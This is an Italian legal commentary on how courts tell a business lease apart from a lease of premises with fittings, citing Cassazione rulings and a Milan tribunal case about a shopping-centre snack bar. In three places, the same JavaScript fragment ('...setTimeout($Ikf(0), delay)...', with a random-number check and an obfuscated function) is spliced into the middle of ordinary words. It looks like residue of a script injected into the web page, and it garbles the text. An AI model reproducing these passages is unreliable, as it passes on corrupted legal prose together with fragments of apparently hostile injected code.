Casi e Giurisprudenza - 10 Aprile 2018

Affitto di azienda e locazione immobiliare: spunti (e confini) interpretativi

Non sempre è agevole distinguere un contratto di affitto di azienda (o di un suo ramo) da una la locazione di immobile corredato da pertinenze.

La difficoltà risiede nell’affinità tra le obbligazioni principali che i due negozi fanno ricadere sulle parti: in entrambe le ipotesi, difatti, uno dei contraenti concede in godimento un bene (latamente inteso) al secondo, contro il pagamento di una somma a titolo di corrispettivo per la fruizione della res.

La Giurisprudenza dirime la questione adottandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando un criterio interpretativo bivalente, imperniato su di un’opera ermeneutica sensibile tanto al dato oggettivo (contratto/atto giuridico), quanto a quello soggettivo (volontà delle parti): “la locazione di immobile con pertinenze – puntualizza la Corte di Cassazione – si differenzia dall’affitto di azienda perché la relativa convenzione negoziale ha per oggetto un bene – l’immobile concesso in godimento – che viene considerato specificamente, nell’economia del contratto, come l’oggetto principale della stipulazione, secondo la sua consistenza effettiva e con funzione prevalente e assorbente rispetto agli altri elementi, i quali assumono, comunque, carattere di accessorietà (…). Per contro, nell’affitto di azienda, lo stesso immobile è considerato non nella sua individualità giuridica, ma come uno degli elementi costitutivi del complesso dei beni (mobili ed immobili) legati tra loro da un vincolo di interdipendenza e complementarità per il conseguimento di un determinato fine produttivo” (così Cass. Civ. n. 5989/2007; nello stesso senso, in espressione di una posizione pacifica, Cass. Civ. n. 15210/2005Cass. Civ. n. 1668/2002Cass. Civ. n. 1467/2002Cass. Civ. n. 9354/2002).

L’interprete sarà dunque chiamato a soppesare l’oggetto materiale del contratto, onde chiarire se esso assurga ad universalità di beni causalmente collegata o semplicemente ad immobile affiancato da suppellettili, ed a ricostruire la comune intenzione dei contraenti, così da sussumere la fattispecie concreta al di sotto dell’uno o dell’altro istituto contrattuale.

Così argomentandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando, il Tribunale di Milano ha ritenuto che un contratto denominato “affitto di ramo di azienda” sottendesse in realtà una locazione immobiliare ad uso diverso dall’abitativo, precisandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando come, nonostante il (formale) affittuario avesse ottenuto in godimento anche talune attrezzature strumentali, beneficiato di un avviamento commerciale e fosse addirittura subentrato nelle autorizzazioni amministrative accordate al (formale) affittante, i contraenti avessero riconosciuto al locale “affittato” – un punto di ristoro inserito in un centro commerciale – una rilevanza preminente e preponderante rispetto agli altri beni materiali ed immateriali locati.

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